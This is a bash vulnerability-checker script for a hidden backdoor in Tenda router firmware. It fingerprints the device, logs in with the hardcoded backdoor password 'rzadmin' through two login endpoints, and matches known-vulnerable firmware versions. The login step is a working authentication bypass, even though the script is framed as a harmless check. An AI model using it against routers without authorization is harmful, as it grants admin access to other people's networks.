Tenda Router Firmware Hidden Backdoor Authentication Bypass in /bin/httpd login()

#!/usr/bin/env bash
# CVE-2026-11405 Tenda Backdoor Authentication Check
# Tests whether the hidden backdoor credential grants admin access
# SAFE: only attempts login, makes no configuration changes
# Usage: bash tenda_cve_2026_11405_check.sh <router_ip>
# Exit codes: 0=VULNERABLE, 1=PATCHED, 2=UNKNOWN

set -euo pipefail

TARGET="${1:-}"
BACKDOOR_PASS="rzadmin"
TIMEOUT=10

if [[ -z "$TARGET" ]]; then
  echo "Usage: $0 <router_ip_or_hostname>"
  exit 2
fi

echo "[*] CVE-2026-11405 checker targeting: $TARGET"

# Step 1: Check if target is a Tenda device
echo "[*] Checking if target is a Tenda router..."
BANNER=$(curl -sk --max-time "$TIMEOUT" "http://${TARGET}/" 2>/dev/null || true)

if ! echo "$BANNER" | grep -qi "tenda"; then
  echo "[?] Target does not appear to be a Tenda device."
  echo "UNKNOWN"
  exit 2
fi

echo "[+] Tenda device detected."

# Step 2: Attempt backdoor login
# Common Tenda login endpoints and POST formats
echo "[*] Attempting backdoor authentication..."
RESPONSE=$(curl -sk --max-time "$TIMEOUT" \
  -X POST \
  -d "username=admin&password=${BACKDOOR_PASS}" \
  -c - \
  "http://${TARGET}/login/Auth" 2>/dev/null || true)

# Some Tenda models use a different endpoint
if [[ -z "$RESPONSE" ]]; then
  RESPONSE=$(curl -sk --max-time "$TIMEOUT" \
    -X POST \
    -d "username=admin&password=${BACKDOOR_PASS}" \
    -c - \
    "http://${TARGET}/goform/login" 2>/dev/null || true)
fi

# Step 3: Evaluate response
if echo "$RESPONSE" | grep -qiE '(success|role.*2|session|Set-Cookie|welcome|index\.asp)'; then
  echo "[!] BACKDOOR LOGIN SUCCEEDED — device is exploitable."
  echo "VULNERABLE"
  exit 0
fi

# Step 4: Check firmware version for known-vulnerable builds
echo "[*] Checking firmware version..."
FW_PAGE=$(curl -sk --max-time "$TIMEOUT" "http://${TARGET}/goform/getSysInfo" 2>/dev/null || true)
if [[ -z "$FW_PAGE" ]]; then
  FW_PAGE=$(curl -sk --max-time "$TIMEOUT" "http://${TARGET}/system_status.asp" 2>/dev/null || true)
fi

VULN_VERSIONS=("V1.2.0.14" "V15.11.0.5" "V15.03.06.46" "V15.03.06.48" "V15.03.06.51")
for VER in "${VULN_VERSIONS[@]}"; do
  if echo "$FW_PAGE" | grep -q "$VER"; then
    echo "[!] Firmware version $VER matches known-vulnerable build."
    echo "VULNERABLE"
    exit 0
  fi
done

if echo "$FW_PAGE" | grep -qiE '(FH1201|W15E|AC10[^0-9]|AC5[^0-9]|AC6)'; then
  echo "[!] Affected model detected but firmware version could not be confirmed."
  echo "[!] Manual verification recommended."
  echo "UNKNOWN"
  exit 2
fi

echo "[*] Backdoor login did not succeed and firmware version does not match known-vulnerable builds."
echo "PATCHED"
exit 1